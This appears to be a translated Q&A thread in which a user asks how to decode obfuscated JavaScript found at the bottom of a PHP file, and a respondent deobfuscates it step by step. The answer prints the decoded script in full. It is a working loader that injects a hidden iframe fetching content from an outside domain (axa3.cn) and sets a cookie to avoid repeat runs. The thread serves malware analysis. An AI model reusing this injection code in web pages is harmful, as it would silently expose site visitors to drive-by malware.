你会如何逆向工程?

Geo*_*F67 5 javascript obfuscation hex reverse-engineering deobfuscation

我有一些代码在javascript的php文件的底部.它经历了许多奇怪的扭曲,比如将hex转换为ascii然后进行正则表达式替换,执行代码等等......

有没有办法在实际执行之前找出它正在执行的内容?

代码在这里:

http://pastebin.ca/1303597

And*_*yle 26

您可以逐步完成它 - 因为它是Javascript,并且它被解释,它需要是它自己的解密器.如果您可以访问命令行Javascript解释器(例如Firebug中的控制台),那么这将非常简单.

我来看看会发生什么.

编辑我已经完成了大部分工作 - 似乎最后一步是非平凡的,可能是因为它涉及"argument.callee".无论如何,我已经在Pastebin上提出了我迄今为止所做的一切.

有趣的是,我发现其中最难的部分是给出了胡言乱语的变量名.它让我想起了一个填字游戏,或者数独,你知道事情是如何相关的,但是在你弄清楚其依赖部分是什么之前,你无法明确地分配一些东西.:-)我敢肯定,如果有人认出这个算法,他们可以给出更有意义的部分名称,但是在那里有很多XORing正在进行的时候,有两个临时变量,我刚刚将它们作为默认名称因为我不知道足够的背景来给他们有用的.

最终编辑:当我意识到我可以传入原始文本时,'arguments.callee'位变得容易了,我讽刺的是它正在解码(这是一个非常聪明的技术,因此正常的反混淆不会起作用,因为当然一次你重命名变量等,值是不同的).无论如何,这是你的脚本:


    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
                try {
                    document.open();
                    document.write(s);
                    document.close();
                }
                catch(e) {
                    document.write("<html><body>" + s + "</body></html>")
                }
                this.setCookie(this.cookieName, this.cookieValue);
            }
        },
        getRandString : function() {
            var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
            var o='';
            for (var i=0;i<l;i++) {
                o+=c.substr(Math.floor(Math.random()*c.length),1,1);
            }
            return o;
        },
        cookieName:'hedcfagb',
        host:'axa3.cn',
        alreadyInstalled : function() {
            return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
        }
    };
    var evil=new EvilInstaller();
    evil.install();
Run Code Online (Sandbox Code Playgroud)

基本上它看起来像从axa3.cn加载恶意软件.该网站已经被ISP怀疑,所以不知道上面的内容是什么,超出了一般的不良.

(如果有人感兴趣的话,我使用Pastebin作为代码更改版本的伪VCS,所以你可以在我的第一个编辑帖子之后看到另一个中间步骤.看到不同层次的混淆以及如何看待它是非常有趣的他们改变了.)

  • "该网站已被ISP怀疑":不,"ISP"本身就是黑帽子."帐户已暂停"消息(无论漏洞利用程序仍处于活动状态)是俄罗斯恶意软件组织的旧策略,它们运行这些诈骗. (4认同)
  • 回复:给出胡言乱语的变量名称:"计算机科学中只有两件事:缓存失效和命名事物." - Phil Karlton (2认同)